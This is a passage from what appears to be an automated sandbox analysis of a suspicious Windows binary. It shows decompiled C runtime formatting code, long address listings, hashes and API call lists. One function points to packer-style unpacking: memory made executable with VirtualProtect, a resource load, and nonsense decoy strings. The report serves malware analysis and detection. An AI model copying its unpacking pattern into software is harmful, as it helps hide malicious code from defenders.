																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0xd121a0; // 0xb775a0
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0xd121a4; // 0xb77590
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00b956e9
0x00b956e9
0x00b956e9
0x00b956e9
0x00b956ef
0x00b956f2
0x00000000
0x00b9576a
0x00000000
0x00b9576a
0x00000000
0x00b9576a
0x00b9576a
0x00b95772
0x00b95794
0x00b9579a
0x00b957bf
0x00b95806
0x00b95809
0x00b9582a
0x00b9582f
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580f
0x00b95814
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c7
0x00b957e9
0x00b957ee
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957cd
0x00b957d2
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b957a0
0x00b957a5
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95778
0x00b9577d
0x00b95780
0x00b95786
0x00b95786
0x00b95846
0x00b95888
0x00b9588e
0x00b9589a
0x00000000
0x00b95848
0x00b95848
0x00b95848
0x00b9584f
0x00000000
0x00b9585c
0x00b9585c
0x00b9586a
0x00b9586f
0x00b95875
0x00b95883
0x00b958a0
0x00b958a8
0x00b958ca
0x00b958ca
0x00b958d4
0x00b958e5
0x00b958ef
0x00b958f1
0x00b958f1
0x00b958d6
0x00b958d6
0x00b958d6
0x00b95904
0x00b95906
0x00b95906
0x00b95910
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b95921
0x00000000
0x00000000
0x00b95931
0x00b95934
0x00b9593e
0x00b9594d
0x00b95956
0x00b9596c
0x00b95972
0x00b9597f
0x00b9598d
0x00b9598d
0x00b9599c
0x00b959a4
0x00b959a4
0x00b959ac
0x00b959b2
0x00b959bb
0x00b959c7
0x00b959e0
0x00b959e6
0x00b959ef
0x00b959ef
0x00000000
0x00b959f2
0x00000000
0x00b959f2
0x00000000
0x00b959f2
0x00000000
0x00b959f2
0x00000000
0x00b959f2
0x00000000
0x00b959f2
0x00000000
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00b95bdd
0x00b95be1
0x00b95be9
0x00b95bee
0x00b95bf1
0x00b95bf1
0x00b95bf8
0x00b95bf8
0x00b94ccf
0x00b94cd5
0x00b94ce2
0x00b94ce7
0x00000000
0x00b94cfa
0x00b94d04
0x00b94d2b
0x00b94d12
0x00b94d23
0x00b94d23
0x00b94d04
0x00b94d35
0x00b94d3b
0x00b94d47
0x00b94d4a
0x00b94d58
0x00b94d5b
0x00b94d68
0x00b94e0d
0x00b94e13
0x00b94e20
0x00000000
0x00000000
0x00b94e26
0x00b94e2c
0x00000000
0x00b94e33
0x00b94e33
0x00b94e4b
0x00b94e50
0x00b94e55
0x00b94f0f
0x00b94f22
0x00b94f27
0x00000000
0x00b94e5b
0x00b94e6e
0x00b94e73
0x00b94e79
0x00b94e7b
0x00b94e84
0x00b94e87
0x00b94e93
0x00b94e97
0x00b94e9d
0x00b94e9f
0x00b94ea4
0x00b94ea6
0x00b94eab
0x00b94eb0
0x00b94eb2
0x00b94eb7
0x00b94ebd
0x00b94ebf
0x00b94ebf
0x00b94ebd
0x00b94ec0
0x00b94ec7
0x00000000
0x00b94ec9
0x00b94ece
0x00b94eea
0x00b94ef2
0x00b94eff
0x00b94f04
0x00000000
0x00b94f04
0x00b94ec7
0x00000000
0x00b94f2f
0x00b94f2f
0x00b94f36
0x00b94f39
0x00b94f3c
0x00b94f3f
0x00b94f42
0x00b94f45
0x00b94f48
0x00b94f4f
0x00b94f56
0x00000000
0x00000000
0x00b94f62
0x00b94f62
0x00b94f69
0x00b94f75
0x00b94f78
0x00b94f85
0x00000000
0x00000000
0x00b94f87
0x00b94f87
0x00b94f8d
0x00b94f8d
0x00b94f94
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b94fd7
0x00b94fd7
0x00b94fe1
0x00b9500b
0x00b9500e
0x00b95011
0x00b95018
0x00b95018
0x00b9501c
0x00b94fe3
0x00b94fe3
0x00b94fef
0x00b94ff6
0x00b94ff8
0x00b94ffb
0x00b94ffe
0x00b95004
0x00b95006
0x00b95006
0x00b95009
0x00000000
0x00000000
0x00b95024
0x00b95024
0x00000000
0x00000000
0x00b95030
0x00b95030
0x00b9503a
0x00b9505d
0x00b95067
0x00b95067
0x00b9506b
0x00b9503c
0x00b9503c
0x00b95048
0x00b9504f
0x00b95051
0x00b95051
0x00b95058
0x00000000
0x00000000
0x00b95073
0x00b95073
0x00b9507a
0x00b95086
0x00b95089
0x00b95096
0x00b951a9
0x00000000
0x00b951a9
0x00b9509c
0x00b9509c
0x00b950a2
0x00b950a2
0x00b950a9
0x00000000
0x00b950df
0x00b950df
0x00b950e2
0x00b950e8
0x00b95110
0x00b95110
0x00b95113
0x00b95119
0x00b9513e
0x00b9513e
0x00b95141
0x00b95147
0x00b95180
0x00b95191
0x00000000
0x00b95191
0x00b95149
0x00b95149
0x00b9514c
0x00b95152
0x00000000
0x00000000
0x00b95154
0x00b95154
0x00b95157
0x00b9515d
0x00000000
0x00000000
0x00b9515f
0x00b9515f
0x00b95162
0x00b95168
0x00000000
0x00000000
0x00b9516a
0x00b9516a
0x00b9516d
0x00b95173
0x00000000
0x00000000
0x00b95175
0x00b95175
0x00b95178
0x00b9517e
0x00b95182
0x00b95182
0x00000000
0x00b95182
0x00000000
0x00b9517e
0x00b9511b
0x00b9511b
0x00b9511e
0x00b95125
0x00000000
0x00000000
0x00b95127
0x00b9512a
0x00b9512d
0x00b95130
0x00b95133
0x00b95139
0x00000000
0x00b95139
0x00b950ea
0x00b950ea
0x00b950ed
0x00b950f4
0x00000000
0x00000000
0x00b950f6
0x00b950f9
0x00b950fc
0x00b950ff
0x00b95102
0x00b95108
0x00000000
0x00000000
0x00b95193
0x00b95196
0x00b95199
0x00000000
0x00000000
0x00b950b0
0x00b950b0
0x00b950b3
0x00b950b9
0x00b950d1
0x00b950d4
0x00b950d7
0x00b950bb
0x00b950be
0x00b950c1
0x00b950c7
0x00b950cc
0x00b950cc
0x00000000
0x00000000
0x00b9519e
0x00b951a1
0x00b951a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b94fb1
0x00b94fb4
0x00b94fb7
0x00000000
0x00000000
0x00b94fbc
0x00b94fbf
0x00b94fc4
0x00000000
0x00000000
0x00b94fa6
0x00b94fa6
0x00b94fa9
0x00b94fac
0x00000000
0x00000000
0x00b94f9b
0x00b94f9e
0x00b94fa1
0x00000000
0x00000000
0x00b94fc9
0x00b94fc9
0x00b94fcc
0x00b94fcf
0x00000000
0x00000000
0x00b94fd2
0x00000000
0x00000000
0x00b94d6e
0x00b94d70
0x00b94d7e
0x00b94d72
0x00b94d72
0x00b94d72
0x00b94d88
0x00b94d8e
0x00b94d9b
0x00b94d9d
0x00b94da2
0x00b94da4
0x00b94da9
0x00b94dae
0x00b94db0
0x00b94db5
0x00b94dbb
0x00b94dbd
0x00b94dbd
0x00b94dbb
0x00b94dbe
0x00b94dc5
0x00000000
0x00b94dc7
0x00b94dcc
0x00b94de8
0x00b94df0
0x00b94dfd
0x00b94e02
0x00b95cc1
0x00b95cce
0x00b95cce
0x00b94dc5
0x00b94d68
0x00b95bfd
0x00b95c04
0x00b95c1b
0x00b95c0f
0x00b95c0f
0x00b95c0f
0x00b95c25
0x00b95c2b
0x00b95c38
0x00b95c3a
0x00b95c3f
0x00b95c41
0x00b95c46
0x00b95c4b
0x00b95c4d
0x00b95c52
0x00b95c58
0x00b95c5a
0x00b95c5a
0x00b95c58
0x00b95c62
0x00b95cad
0x00b95cb6
0x00b95cbb
0x00b95c64
0x00b95c69
0x00b95c85
0x00b95c8d
0x00b95c9a
0x00b95c9f
0x00b95c9f
0x00000000
0x00b95c62
0x00b959fc
0x00b95a02
0x00b95a0c
0x00b95a21
0x00b95a36
0x00b95a38
0x00b95a3c
0x00b95a3c
0x00b95a23
0x00b95a23
0x00b95a27
0x00b95a27
0x00b95a0e
0x00b95a0e
0x00b95a12
0x00b95a12
0x00b95a0c
0x00b95a4c
0x00b95a58
0x00b95a6e
0x00b95a73
0x00b95a73
0x00b95a89
0x00b95a8e
0x00b95a97
0x00b95ab5
0x00b95aba
0x00b95aba
0x00b95ac1
0x00b95b95
0x00b95ba8
0x00b95bad
0x00000000
0x00b95ad1
0x00b95ad1
0x00b95ad1
0x00b95ade
0x00b95ae7
0x00b95aed
0x00b95aed
0x00b95afc
0x00b95b04
0x00000000
0x00000000
0x00b95b0a
0x00b95b13
0x00b95b32
0x00b95b37
0x00b95b3a
0x00b95b49
0x00b95b56
0x00b95b61
0x00b95b61
0x00000000
0x00b95b6d
0x00b95b6d
0x00b95b86
0x00b95b8b
0x00000000
0x00b95b8b
0x00b95b56
0x00b95b93
0x00b95bb0
0x00b95bb7
0x00b95bd5
0x00b95bda
0x00b95bda
0x00000000
0x00b95bb7
0x00b951ae
0x00b951ae
0x00b951b5
0x00b951bb
0x00b951c1
0x00b951c4
0x00b951ca
0x00b951dd
0x00b951dd
0x00b951e4
0x00000000
0x00b9553e
0x00b9553e
0x00b95545
0x00b9554c
0x00b9554f
0x00000000
0x00000000
0x00b951eb
0x00b951ee
0x00b951f4
0x00b951f9
0x00b951fe
0x00b951fe
0x00000000
0x00000000
0x00b9532b
0x00b9532e
0x00b95333
0x00b95338
0x00b9533e
0x00b9533e
0x00000000
0x00000000
0x00b9570b
0x00b9570b
0x00000000
0x00000000
0x00b95295
0x00b95295
0x00b952a1
0x00b952ae
0x00b952bc
0x00b952bc
0x00b952c2
0x00b952c5
0x00b952d1
0x00b95326
0x00000000
0x00b95326
0x00b952b0
0x00b952b0
0x00b952ba
0x00b952d6
0x00b952d9
0x00b952df
0x00b95307
0x00b9530e
0x00b95314
0x00b95317
0x00b9531a
0x00b95320
0x00b95323
0x00b952e1
0x00b952e1
0x00b952e7
0x00b952ea
0x00b952ed
0x00b952f3
0x00b952f6
0x00b952f9
0x00b952fb
0x00b952fe
0x00b952fe
0x00000000
0x00b952df
0x00000000
0x00000000
0x00b95555
0x00b95558
0x00b9555b
0x00b9555e
0x00b95564
0x00b95567
0x00b95572
0x00b9557d
0x00b95581
0x00b95598
0x00b9559f
0x00b955a1
0x00b955a1
0x00b955a8
0x00b955af
0x00b955c0
0x00b955cf
0x00b955d6
0x00b955ec
0x00b955d8
0x00b955d8
0x00b955db
0x00b955e1
0x00b955e7
0x00b955e7
0x00b955d6
0x00b955f6
0x00b955f9
0x00b955fc
0x00b955ff
0x00b95602
0x00b95605
0x00b9560b
0x00b95611
0x00b95619
0x00b9561a
0x00b9561d
0x00b9561e
0x00b95621
0x00b95622
0x00b95629
0x00b9562a
0x00b9562d
0x00b9562e
0x00b95631
0x00b95632
0x00b95638
0x00b95639
0x00b95647
0x00b95649
0x00b9564f
0x00b95655
0x00b9565d
0x00b95665
0x00b95666
0x00b95669
0x00b9566a
0x00b95678
0x00b9567a
0x00b9567a
0x00b9567d
0x00b95687
0x00b9568c
0x00b95692
0x00b95694
0x00b9569c
0x00b9569d
0x00b956a0
0x00b956a1
0x00b956b0
0x00b956b2
0x00b956b2
0x00b95692
0x00b956b5
0x00b956b8
0x00b956be
0x00b956c3
0x00b956c9
0x00b956cf
0x00b956d2
0x00b956d2
0x00b956d5
0x00b956e1
0x00000000
0x00b956e1
0x00b95583
0x00b95583
0x00b9558d
0x00000000
0x00000000
0x00b9558f
0x00b9558f
0x00000000
0x00b9558f
0x00b95574
0x00b95574
0x00000000
0x00000000
0x00b95201
0x00b95204
0x00b9520a
0x00b95265
0x00b9526d
0x00b95274
0x00b9527a
0x00b95280
0x00b9520c
0x00b9520c
0x00b95216
0x00b9521a
0x00b95222
0x00b95229
0x00b95236
0x00b9523d
0x00b95249
0x00b95256
0x00b95258
0x00b95258
0x00b9525f
0x00b95287
0x00b9528d
0x00000000
0x00000000
0x00000000
0x00000000
0x00b95447
0x00b95447
0x00b95453
0x00b95460
0x00b9550a
0x00b9550d
0x00b95510
0x00b95524
0x00b9552a
0x00b95530
0x00b95512
0x00b95512
0x00b9551f
0x00b9551f
0x00b95532
0x00000000
0x00b95532
0x00b95466
0x00b95466
0x00b95468
0x00b95476
0x00b9546a
0x00b9546a
0x00b9546a
0x00b95480
0x00b95486
0x00b95493
0x00b95495
0x00b9549a
0x00b9549c
0x00b954a1
0x00b954a6
0x00b954a8
0x00b954ad
0x00b954b3
0x00b954b5
0x00b954b5
0x00b954b3
0x00b954bd
0x00b95505
0x00000000
0x00b954bf
0x00b954bf
0x00b954c4
0x00b954e0
0x00b954e8
0x00b954f2
0x00b954f5
0x00b954fa
0x00000000
0x00b954fa
0x00000000
0x00b9574c
0x00b9574c
0x00b95756
0x00b9575c
0x00b95761
0x00b95767
0x00b95767
0x00000000
0x00000000
0x00b95704
0x00b95704
0x00000000
0x00000000
0x00b95341
0x00b95345
0x00b95353
0x00b95356
0x00b95347
0x00b95347
0x00b95347
0x00b9535c
0x00b95362
0x00b95368
0x00b95374
0x00b9537a
0x00b95380
0x00b953e7
0x00b953eb
0x00b953ed
0x00b953f3
0x00b953f3
0x00b953f6
0x00b953f9
0x00b953ff
0x00b953ff
0x00b953ff
0x00b9540b
0x00b9540e
0x00b95416
0x00000000
0x00000000
0x00b95418
0x00b95418
0x00b9541e
0x00b95423
0x00000000
0x00000000
0x00b95425
0x00b9542b
0x00b9542e
0x00b9542e
0x00b95436
0x00b9543c
0x00b9543f
0x00000000
0x00b95382
0x00b95382
0x00b95386
0x00b95388
0x00b9538d
0x00b9538d
0x00b95390
0x00b95397
0x00b9539a
0x00b953a0
0x00b953a0
0x00b953a0
0x00b953ac
0x00b953af
0x00b953b7
0x00000000
0x00000000
0x00b953b9
0x00b953b9
0x00b953bf
0x00b953c4
0x00000000
0x00000000
0x00b953c6
0x00b953cc
0x00b953cf
0x00b953cf
0x00b953d7
0x00b953dd
0x00b953e0
0x00b953e2
0x00b95442
0x00000000
0x00b95442
0x00000000
0x00b956fb
0x00b956fb
0x00000000
0x00000000
0x00b95717
0x00b95717
0x00b95721
0x00b95721
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00000000
0x00000000
0x00000000
0x00000000
0x00b951e4
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f2
0x00b9584f
0x00b95846
0x00b9576a
0x00b9576a
0x00b9576a

APIs

_get_int64_arg.LIBCMTD ref: 00B95778
_get_int64_arg.LIBCMTD ref: 00B957A0
__aullrem.LIBCMT ref: 00B95945
__aulldiv.LIBCMT ref: 00B95967
_write_multi_char.LIBCMTD ref: 00B95A6E
_write_string.LIBCMTD ref: 00B95A89
_write_multi_char.LIBCMTD ref: 00B95AB5
_wctomb_s.LIBCMTD ref: 00B95B32

Strings

-, xrefs: 00B95A0E
_output_s_l, xrefs: 00B94DDE
9, xrefs: 00B95978
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00B94DA9, 00B94DD9
("Incorrect format specifier", 0), xrefs: 00B94D9D, 00B94DE3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: fc247a1fd77c2678c38843e9aa6db35b9a3c09fca127cd1111e2ad00c929b369
Instruction ID: c90d1bc37d268f11656856fa94b9eb739d970db1968eecfb5819a9cc1692f5b8
Opcode Fuzzy Hash: fc247a1fd77c2678c38843e9aa6db35b9a3c09fca127cd1111e2ad00c929b369
Instruction Fuzzy Hash: D9F113B1D456298FEF25CF58CC99BAEB7F5EB44300F2481E9E419AA291D7349E80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B78A7B Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 106memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetThreadPriority.KERNEL32(00000000), ref: 00B78AB8
GetCommandLineW.KERNEL32 ref: 00B78ABE
SetLastError.KERNEL32(00000000), ref: 00B78AC6
GenerateConsoleCtrlEvent.KERNEL32(00000001,0000000E), ref: 00B78AD0
MoveFileWithProgressA.KERNEL32(Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi,Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho,00000000,034A5040,00000001), ref: 00B78AEB
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00B78CA3
GetLastError.KERNEL32 ref: 00B78CA9
GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00B78CC0
GetLastError.KERNEL32 ref: 00B78CD9
InitializeSListHead.KERNEL32(00000000), ref: 00B78CED
DebugSetProcessKillOnExit.KERNEL32 ref: 00B78CF5
EnumSystemGeoID.KERNEL32 ref: 00B78D01
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B78D0F
HeapFree.KERNEL32(00000000), ref: 00B78D16
GetProcAddress.KERNEL32(76EB0000,VirtualProtect), ref: 00B78D3B
VirtualProtect.KERNELBASE(02EB4040,005DB76C,00000040,?), ref: 00B78D73
LoadResource.KERNEL32(00000000,00000000), ref: 00B78D93
GetACP.KERNEL32 ref: 00B78DBA
FreeResource.KERNEL32(00000000), ref: 00B78DC7
__atodbl_l.LIBCMTD ref: 00B78E5F

Strings

PRK1, xrefs: 00B78BBC
Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho, xrefs: 00B78AE1
O, xrefs: 00B78CAF
`, xrefs: 00B78BB5
KERNEL32.DLL, xrefs: 00B78CBB
Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi, xrefs: 00B78AE6

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastProcess$FreeHeapResource$AddressCommandConsoleCtrlDebugEnumEventExitFileGenerateHandleHeadHeapsInitializeKillLineListLoadModuleMovePriorityProcProgressProtectSystemThreadVirtualWith__atodbl_l
String ID: KERNEL32.DLL$Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi$PRK1$Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho$`$O
API String ID: 457987920-2244880419
Opcode ID: 4aba8da7cbaa11908c8b4d0734e1f6017edbb341f96f8d8ddbbc5b363c9b462a
Instruction ID: ad68675df9d87ad8b77fa4d09dc3475b4e13df728deeec17f183b4d515df109d
Opcode Fuzzy Hash: 4aba8da7cbaa11908c8b4d0734e1f6017edbb341f96f8d8ddbbc5b363c9b462a
Instruction Fuzzy Hash: 9A5120B4D45358DFEB208F99ED4AB9CBB71FB00701F608589E2597B291CBB00A81CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00B96A5B Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00B96A5B(signed int __edx) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t621 = __edx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00B93D50(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00B93D50(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00B93D50(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00B93D50(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00B93D70(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00B93D70(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00B855B0(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E00B85630( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L00B7EB20( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
